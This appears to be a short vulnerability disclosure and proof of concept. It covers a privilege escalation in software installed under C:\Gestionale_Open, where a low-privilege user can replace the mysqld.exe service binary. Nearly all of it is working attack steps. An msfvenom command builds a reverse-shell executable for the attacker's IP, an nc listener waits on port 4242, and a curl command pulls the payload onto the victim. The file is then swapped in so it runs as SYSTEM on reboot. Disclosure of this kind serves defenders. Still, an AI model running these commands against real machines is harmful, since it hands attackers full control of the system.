# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

# Proof of Concept
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start
3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"
4. Overwrite file and copy malicious .exe.
Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
5. Restart victim machine
